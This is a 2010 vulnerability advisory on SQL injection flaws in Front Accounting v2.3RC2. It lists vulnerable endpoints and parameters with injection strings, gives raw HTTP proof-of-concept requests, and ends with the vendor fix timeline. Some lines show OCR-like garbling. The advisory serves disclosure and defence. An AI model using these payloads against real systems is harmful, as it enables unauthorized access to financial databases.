

**Advisory Name:** Multiple SQL Injections in Front Accounting

Internal Cybsec Advisory Id: 2010-1003-Multiple SQL Injections in Front Accounting

Vulnerability Class: SQL Injection

**Affected Applications:** Front Accounting v2.3RC2; other versions may also be affected.

**Affected Platforms:** Any running Front Accounting v2.3RC2

**Local / Remote:** Remote

Severity: High – CVSS 6.3 (AV:N/AC:M/Au:S/C:C/I:N/A:N)

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Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability\_policy.pdf

## **Vulnerability Description:**

Multiple vulnerabilities has been discovered in Front Accounting, which can be exploited by attackers to conduct SQL injection attacks.

At least the following parameters are not properly sanitized:

#### http://xxx.xxx.xxx.xxx/admin/fiscalyears.php

The attacker can set parameter 'from date's value to '01%2F01%2F2008%27%3B'

## http://xxx.xxx.xxx.xxx/dimensions/dimension entry.php

The attacker can set parameter 'ref's value to '1234%27%3B'

The attacker can set parameter 'trans no's value to '31%20having%201=1--'

## http://xxx.xxx.xxx.xxx/dimensions/view/view\_dimension.php

The attacker can set parameter 'trans no's value to '3';'

## http://xxx.xxx.xxx.xxx/gl/bank account reconcile.php

The attacker can set parameter 'reconcile date's value to '1234%27%3B'

#### http://xxx.xxx.xxx.xxx/gl/inquiry/balance sheet.php

The attacker can set parameter 'TransToDate's value to '1234%27+having+1%3D1--'

## http://xxx.xxx.xxx.xxx/gl/inquiry/bank inquiry.php

http://xxx.xxx.xxx.xxx/gl/inquiry/gl account inquiry.php

http://xxx.xxx.xxx.xxx/gl/inquiry/gl trial balance.php

http://xxx.xxx.xxx.xxx/gl/inquiry/profit loss.php

http://xxx.xxx.xxx.xxx/gl/inquiry/tax\_inquiry.php



The attacker can set parameter 'TransToDate's value to '1234%27+having+1%3D1--' The attacker can set parameter 'TransToDate's value to '1234%27%3B'

## http://xxx.xxx.xxx.xxx/gl/inquiry/journal inquiry.php

The attacker can set parameter 'FromDate's value to '1234%27%3B' The attacker can set parameter 'Memo's value to '1234%27%3B' The attacker can set parameter 'Ref's value to '1234%27%3B' The attacker can set parameter 'ToDate's value to '1234%27%3B'

## http://xxx.xxx.xxx.xxx/inventory/inquiry/stock movements.php

The attacker can set parameter 'AfterDate's value to '1234%27%3B' The attacker can set parameter 'BeforeDate's value to '1234%27%3B'

# http://xxx.xxx.xxx/manufacturing/work\_order\_add\_finished.php

The attacker can set parameter 'ref's value to '1234%27%3B'
The attacker can set parameter 'selected\_id's value to '181+having+1%3D1--'
The attacker can set parameter 'trans\_no's value to '181%20having%201=1--'

## http://xxx.xxx.xxx.xxx/manufacturing/work order issue.php

The attacker can set parameter 'IssueType's value to '1%29+having+1%3D1--'
The attacker can set parameter 'Location's value to 'SH%27%3B'
The attacker can set parameter 'WorkCentre's value to '1%27%3B'
The attacker can set parameter '\_focus's value to '\_stock\_id\_edit%27%3B'
The attacker can set parameter '\_stock\_id\_edit's value to '%27%3B'
The attacker can set parameter '\_stock\_id\_update's value to '+%27%3B'
The attacker can set parameter 'date\_'s value to '1234%27%3B'
The attacker can set parameter 'memo\_'s value to '1234%27%3B'
The attacker can set parameter 'qty's value to '1234%27%3B'
The attacker can set parameter 'ref's value to '1234%27%3B'
The attacker can set parameter 'std\_cost's value to '1234%27+having+1%3D1--'
The attacker can set parameter 'stock\_id's value to 'Business1%27%3B'
The attacker can set parameter 'rans\_no's value to '181%20having%201=1--'

## http://xxx.xxx.xxx.xxx/purchasing/po receive items.php

The attacker can set parameter 'PONumber's value to '351%20having%201=1--'

# http://xxx.xxx.xxx.xxx/purchasing/supplier\_credit.php

The attacker can set parameter 'invoice\_no's value to '21';'
The attacker can set parameter 'receive\_begin's value to '1234%27%3B'
The attacker can set parameter 'receive\_end's value to '1234%27+having+1%3D1--'

## http://xxx.xxx.xxx.xxx/reporting/prn\_redirect.php

The attacker can set parameter 'PARAM 1's value to '361%20having%201=1--'

#### http://xxx.xxx.xxx.xxx/sales/customer credit invoice.php



The attacker can set parameter 'InvoiceNumber's value to '106';'

Other parameters might also be affected.

## **Some Proof of Concepts:**

#### PoC:

GET /dimensions/dimension\_entry.php?trans\_no=31**%20having%201=1--** HTTP/1.0 Cookie: FA4649d6f070639b67129c222b2094650d=cbe43b3ad36c2622030f8b1093144916

Accept: \*/\*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: <u>xxx.xxx.xxx.xxx</u>

Referer: http://xxx.xxx.xxx.xxx/dimensions/inquiry/search\_dimensions.php

\* http://xxx.xxx.xxx.xxx/purchasing/allocations/supplier allocate.php?trans no=11&trans type=

#### PoC:

GET /purchasing/allocations/supplier\_allocate.php?trans\_no=11&trans\_type=11%20having%201=1--HTTP/1.0

ПТТР/Т.О

Cookie: FA4649d6f070639b67129c222b2094650d=2aa6f7cc954528a151a5f5d6c658f418

Accept: \*/\*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: xxx.xxx.xxx.xxx

Referer: http://xxx.xxx.xxx/purchasing/allocations/supplier\_allocation\_main.php

\* http://xxx.xxx.xxx/purchasing/po receive items.php?PONumber=

#### PoC:

GET /purchasing/po\_receive\_items.php?PONumber=351%20having%201=1-- HTTP/1.0 Cookie: FA4649d6f070639b67129c222b2094650d=2aa6f7cc954528a151a5f5d6c658f418

Accept: \*/\*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: xxx.xxx.xxx.xxx

Referer: <a href="http://xxx.xxx.xxx.xxx/purchasing/inquiry/po">http://xxx.xxx.xxx.xxx/purchasing/inquiry/po</a> search.php

\* http://xxx.xxx.xxx.xxx/purchasing/supplier\_credit.php?New=1&invoice\_no=



#### PoC:

GET /purchasing/supplier credit.php?New=1&invoice no=21'; HTTP/1.0

Cookie: FA4649d6f070639b67129c222b2094650d=2aa6f7cc954528a151a5f5d6c658f418

Accept: \*/\*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: xxx.xxx.xxx.xxx

Referer: <a href="http://xxx.xxx.xxx.xxx/purchasing/inquiry/supplier-inquiry.php">http://xxx.xxx.xxx.xxx.xxx/purchasing/inquiry/supplier-inquiry.php</a>

\* http://xxx.xxx.xxx.xxx/reporting/prn\_redirect.php?PARAM\_0=36&PARAM\_1=3

#### PoC:

GET /reporting/prn\_redirect.php?PARAM\_0=36&PARAM\_1=361%20having%201=1--

&PARAM\_2=&PARAM\_3=0&PARAM\_4=&REP\_ID=111 HTTP/1.0

Cookie: FA4649d6f070639b67129c222b2094650d=a3101d91a3ae6ede3e0ab57f90c03b79

Accept: \*/\*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: xxx.xxx.xxx.xxx

Referer: <a href="http://xxx.xxx.xxx.xxx.xxx/sales/inquiry/sales">http://xxx.xxx.xxx.xxx.xxx/sales/inquiry/sales</a> orders view.php?type=32

#### Impact:

An attacker can execute arbitrary SQL queries that would allow him to gain unauthorized access to the database, application or server.

## **Solution:**

Upgrade to FrontAccounting v2.3RC3

#### **Vendor Response:**

2010-10-12 - Vulnerability was identified

2010-10-13 - Vendor contacted

10/16/2010 Vendor confirmed vulnerability

10/19/2010 Vendor says that the bug will we fixed in FrontAccounting v2.3RC3

10/29/2010 Vulnerability was released

## **Contact Information:**

For more information regarding the vulnerability feel free to contact the researcher at



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